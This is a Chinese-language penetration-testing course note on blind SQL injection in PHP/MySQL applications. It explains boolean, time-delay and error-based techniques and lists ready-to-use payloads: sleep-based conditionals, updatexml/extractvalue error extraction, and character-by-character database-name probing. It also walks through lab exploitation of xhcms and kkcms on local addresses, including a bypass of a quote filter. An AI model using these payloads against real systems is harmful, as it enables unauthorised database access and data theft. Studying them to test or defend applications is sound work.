044-WEB攻防-PHP应用&SQL盲注&布尔回显&延时判断&报错处理&增删改查方式
#知识点:
1、PHP-MYSQL-SQL注入-方式增删改查
2、PHP-MYSQL-SQL注入-布尔&延迟&报错
3、PHP-MYSQL-SQL注入-数据回显&报错处理
演示案例:
➢PHP-MYSQL-SQL操作-增删改查
➢PHP-MYSQL-注入函数-布尔&报错&延迟
➢PHP-MYSQL-注入条件-数据回显&错误处理
➢PHP-MYSQL-CMS案例-插入报错&删除延迟
#PHP-MYSQL-SQL操作-增删改查
1、功能:数据查询
- 查询:SELECT * FROM news where id=$id
2、功能:新增用户,添加新闻等
- 增加:INSERT INTO news (字段名) VALUES (数据)
3、功能:删除用户,删除新闻等
- 删除:DELETE FROM news WHERE id=$id
4、功能:修改用户,修改文章等
- 修改:UPDATE news SET id=$id
#PHP-MYSQL-注入函数-布尔&报错&延迟
盲注就是在==注入过程中 ,获取的数据不能回显 ==至前端页面。
我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
解决:常规的联合查询注入不行的情况
我们可以知道盲注分为以下三类:
1、基于布尔的SQL盲注-逻辑判断==(盲注可用布尔盲注(需要回显)==
regexp,like,ascii,left,ord,mid
- RegExp(正则表达式):
- 正则表达式是一系列字符,定义了一个搜索模式。它用于在字符串中进行模式匹配。
- 正则表达式提供了一种强大而灵活的方式来搜索、匹配和操作文本。
- LIKE(模糊匹配)
LIKE
经常在数据库查询中使用,特别是在SQL中,用于在列中搜索指定的模式。- 它允许使用通配符字符,如
%
(匹配任何字符序列)和_
(匹配任何单个字符)。
- ASCII码:
- ASCII(美国信息交换标准代码)是一种字符编码标准,为键盘上的每个字母、数字和符号分配一个唯一的数字。
- ASCII 值表示文本字符,被广泛用于计算机中。
- LEFT(左侧提取指定数量的字符):
- 在字符串操作的上下文中,
LEFT
是一种在一些编程语言或数据库查询语言中使用的函数。 - 它从字符串的左侧提取指定数量的字符。
- 在字符串操作的上下文中,
- ORD:
ORD
是一种在一些编程语言(例如 Python)中用于获取字符的 ASCII 值的函数。- 例如,
ord('A')
返回 'A' 的 ASCII 值,即 65。
- MID:
MID
(或在一些语言中称为SUBSTRING
)是一种从给定字符串中提取子字符串的函数。- 它需要指定的起始位置和要提取的子字符串的长度。
下面是 Python 的一个快速示例:
python
import re
# 正则表达式(RegExp)
pattern = re.compile(r'\\d{3}-\\d{2}-\\d{4}') # 匹配社会安全号码模式
# SQL 中的 LIKE
SELECT * FROM table WHERE column LIKE 'abc%'
# ASCII
ascii_value = ord('A') # 返回 65
# LEFT
original_string = "Hello, World!"
left_result = original_string[:5] # 返回 "Hello"
# ORD
ascii_value_of_H = ord('H') # 返回 72
# MID
substring = original_string[7:12] # 返回 "World"
布尔相关注入语句:
sql
#检查当前数据库名称的长度是否为7。
and length(database())=7;
#检查当前数据库名称的第一个字符是否为 'p'。
and left(database(),1)='p';
#检查当前数据库名称的前两个字符是否为 'pi'。
and left(database(),2)='pi';
#检查当前数据库名称的第一个字符是否为 'p'
and substr(database(),1,1)='p';
#检查当前数据库名称的第二个字符是否为 'i'
and substr(database(),2,1)='i';
#使用 ord 函数将第一个字符的ASCII值转换为整数,并检查它是否等于112
and ord(left(database(),1))=112;
2、基于时间的SQL盲注-延时判断==(报错和回显都不需要)==
if,sleep
- IF语句:
- SQL中的**
IF
**语句用于条件执行,根据指定的条件执行一组SQL语句。 - 在SQL注入的上下文中,攻击者可能注入一个始终为真的条件,以操纵SQL查询的行为。
- SQL中的**
- SLEEP函数:
SLEEP
函数用于在执行查询时引入一定的延迟或暂停,可以指定延迟的时间。- 攻击者利用**
SLEEP
函数进行基于时间的盲注,通过观察查询响应的延迟来推断有关数据库的信息。**
下面是一个简单的示例,演示了基于时间的盲注攻击:
假设存在一个有漏洞的查询:
sql
SELECT * FROM users WHERE username = 'input' AND password = 'input'
攻击者可能注入以下有效载荷:
sql
' OR IF(1=1, SLEEP(5), 0)--
在这个注入中,IF(1=1, SLEEP(5), 0)
语句将始终为真,导致执行 SLEEP(5)
函数。双破折号( --
)用于注释掉原始查询的其余部分,以防止语法错误。
延迟相关注入语句:
sql
#单地引入了一个1秒的延迟。如果应用程序响应时间增加了1秒,那么攻击者可以推断注入条件为真。
and sleep(1);
#if 函数被使用,但条件始终为假(1 > 2)。因此,sleep(1) 函数不会执行,而是返回0。这个语句的目的是验证条件的结果是否影响查询的响应时间。如果查询响应时间增加,说明注入条件为真。
and if(1>2,sleep(1),0);
#但这次条件为真(1 < 2)。因此,sleep(1) 函数将执行,导致查询延迟1秒钟。攻击者可以观察到响应时间的增加,从而确定注入条件为真。
and if(1<2,sleep(1),0);
3、基于报错的SQL盲注-报错回显**(加入报错处理可利用报错盲注)**
floor,updatexml,extractvalue
基于报错的SQL盲注是一种注入攻击技术,其中攻击者试图通过触发SQL错误来获取有关数据库结构和内容的信息。
-
FLOOR:
FLOOR
函数本身通常不直接用于报错注入。它是用于数值处理的函数,主要用于取整。- 如果在使用
FLOOR
函数时传入了不正确的参数,可能导致SQL错误,但这通常不是攻击者首选的方法。
-
updatexml:
-
updatexml
函数在错误注入中可能是有用的。攻击者可以尝试构造一个恶意的 XML 语句,触发错误并泄漏有关数据库结构的信息。 -
示例:
上述语句尝试通过
updatexml
函数将波浪符0x7e
连接到数据库名称,从而引发错误并回显数据库名称。sqlupdatexml(1, concat(0x7e, (SELECT database())), 1)
-
-
extractvalue:
-
extractvalue
函数也可以用于错误注入。攻击者可以构造恶意的 XML 路径,触发错误并泄漏信息。 -
示例:
上述语句尝试通过
extractvalue
函数将波浪符0x7e
连接到当前用户的名称,从而引发错误并回显用户信息。sqlextractvalue(1, concat(0x7e, (SELECT user())), 1)
-
报错相关注入语句:
sql
#攻击者试图通过 updatexml 函数将波浪符 0x7e 连接到数据库版本号,从而引发错误并泄露版本信息。这是一种常见的基于报错的注入技术,攻击者可以通过观察错误消息来获取敏感信息。
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
#攻击者试图通过 extractvalue 函数获取 information_schema.tables 表的第一个表名。通过观察错误消息,攻击者可以逐步推断数据库结构。
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
4.参考:
sql
like 'ro%' #判断ro或ro...是否成立
regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等
if(条件,5,0) #条件成立 返回5 反之 返回0
sleep(5) #SQL语句延时执行5秒
mid(a,b,c) #从位置b开始,截取a字符串的c位
substr(a,b,c) #从位置b开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8 #判断数据库database()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97
#PHP-MYSQL-注入条件-数据回显&错误处理
PHP开发项目-输出结果&开启报错
1.基于延时:((报错和回显都不需要)
)
-
and if(1=1,sleep(3),0)
-
if 函数被使用,但条件始终为真(1 =1)。
-
因此,sleep(3) 函数会执行。
-
这个语句的目的是验证条件的结果是否影响查询的响应时间。如果查询响应时间增加,说明注入条件为真。
-
-
and if(left(database(),1)='d',sleep(3),0)
-
是检查当前数据库的名称的第一个字符是否为 'd'。如果是,它会引入一个3秒的延迟(
sleep(3)
),否则返回0。
-
2.基于布尔:有数据库输出判断标准盲注可用布尔盲注(需要回显
)
-
通过判断页面上的某个元素变化,来判断是否注入成功
-
and length(database())=6
(检查当前数据库名称的长度是否为6。) -
当变为7则出现页面无内容,则证明,该数据库名称的长度是否为6
-
and left(database(),1)='d';
(检查当前数据库名称的第一个字符是否为 'd'。) -
当变为p则出现页面p无内容,则证明,该数据库名称第一个字符是 'd'
-
3.基于报错:有数据库报错处理判断标准(加入报错处理可利用报错盲注
)
-
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
-
攻击者试图**通过 updatexml 函数将波浪符 0x7e 连接到数据库版本号**,从而引发错误并泄露版本信息。
-
-
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
- 攻击者试图==通过 extractvalue 函数获取 information_schema.tables 表的第一个表名==。通过观察错误消息,攻击者可以逐步推断数据库结构。
4.测试delete注入:(有无回显,有无报错)
-
分析源码得出
-
SQL注入攻击中**使用
OR
和AND
的选择通常取决于攻击者试图实现的目标和特定的注入场景。**让我解释一下使用这两个逻辑运算符的原因:-
使用
OR
:- 目标多条件的成立: 攻击者可能使用
OR
运算符来构造注入条件,以确保多个条件中的至少一个成立。这对于布尔盲注攻击很有用,因为攻击者可以通过观察应用程序的行为来确定是否存在真或假的条件。 - 绕过登录验证: 在登录场景中,攻击者可能使用
OR
条件来绕过用户名和密码的验证,使条件总是为真,从而成功登录。
- 目标多条件的成立: 攻击者可能使用
-
使用
AND
:-
目标多条件同时成立: 有时,攻击者可能希望确保多个条件同时成立,这时候
AND
运算符更适用。这在一些特定的注入场景中可能更有用。 -
限制结果集: 使用
AND
可以帮助攻击者过滤结果集,以获取更具体的信息。例如,AND
可以用于构造条件以筛选特定用户的数据。
-
-
(1) 删除(延迟):1 and if(1=1,sleep(3),0)
(2)删除(布尔):4 and length(database())=6
(无回显 无法判断注入)
(3)删除(报错):4 and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
#PHP-MYSQL-CMS案例-插入报错&删除延时
面试问题:如果是黑盒测试,要求盲注,选用什么方式?
回答:可以选择报错或延时(由于无法判断,其源码是否有容错处理,首先试一下报错,使用延时也可以,但是需要注意符号问题)
1、xhcms-insert报错
' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and '
- 打开对应的源码
- ctrl+shift+f:全局搜索:insert
- 发现有报错处理:文件路径为:files/submit.php
- 由于网址在index.php有规定,特殊的路由访问方式
- 使用全局搜索**:?r=submit,发现是由files/contact.php路径触发**
- 所以直接使用http://192.168.137.1:85/?r=contact 触发网址,并对照源码发现,就是此页面**
- 再次查看submit.php页面发现其SQL语句中的表名为
$query = "INSERT INTO ***interaction
,对应查找数据库,发现里面的内容,与contact.php页面留言表一一符合,及判断submit.php页面是实现评论提交功能;* - 分析sql语句
$query = "INSERT INTO interaction (type, xs, cid, name, mail, url, touxiang, shebei, ip, content, tz, date) VALUES ('$type', '$xs', '$cid', '$name', '$mail', '$url', '$touxiang', '$shebei', '$ip', '$content', '$tz', now())";
发现有' '影响,在注入时,需要避免 - 使用注入:
' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and '
- 注意:留言内容必须是中文,不然会无法回显报错
- 数据回显:新增错误:XPATH syntax error: '~5.7.26~',盲注成功
2、kkcms-delete延时
and if(1=1,sleep(5),0)
or if(1=1,sleep(5),0)
or if(ord(left(database(),1))=107,sleep(2),0)
- 打开对应的源码
- ctrl+shift+f:全局搜索:delete
- 发现有删除相关代码:文件路径为:admin/model/usergroup.php
- 访问发现http://192.168.137.1:86/admin/model/usergroup.php,出现空白,
- 解决:必须需要登录http://192.168.137.1:86/admin 还是空白
- 由于**usergroup.php只有后端页面,并没有对应前端数据显露,所以应继续使用该文件名搜索,查看是否有包含其的前端页面,进行匹配**
- 搜到包含文件
**include('model/usergroup.php');
使用该文件路径进行网址访问/admin/cms_usergroup.php** - http://192.168.137.1:86/admin/cms_usergroup.php 访问成功
- 由于浏览器**使用延时注入,没有回显时间,不好判断,所以使用抓包软件burp**
-
使用burp抓到对应包,发送至repeater,并在GET头加入?del=4发送包,查看是否成功**
?del=4 or if(1=1,sleep(2),sleep(0))
** -
回显200成功后,将
**?del=4%20or%20if(1=1,sleep(1),sleep(0))
注入代码写入GET头,并查看右下角,发现有延时,注入成功**- 需要注意,在写入GET头中的注入语句,需要将空格转换为%20字符,直接输入空格会报错,导致无法识别
-
**?del=4%20or%20if(**length(database())=5**,sleep(1),sleep(0))
将判断内容替换为,查询数据库名的个数,在输入5的时候,有延迟,及证明,数据库名有五位** -
**?del=4%20or%20if(**left(database(),1)='k'**,sleep(1),sleep(0))
将判断内容替换为**检查当前数据库名称的第一个字符是否为 'k'。- 发现,回显的数据包,并没有延时,但数据库名为kkcms
- 将源码的sql语句打印出来,发现是源码对于单引号 做了过滤
ord()
函数:ord()
函数返回字符串的第一个字符的 ASCII 值。- 在这个语句中,
ord(left(database(),1))
返回当前数据库名称的第一个字符的 ASCII 值。
-
将**
?del=4%20or%20if(ord(left(database(),1))=107,sleep(1),sleep(0))
将条件使用ord()
函数:包裹,并将k值转换为ASCII码(107),即可绕过单引号过滤**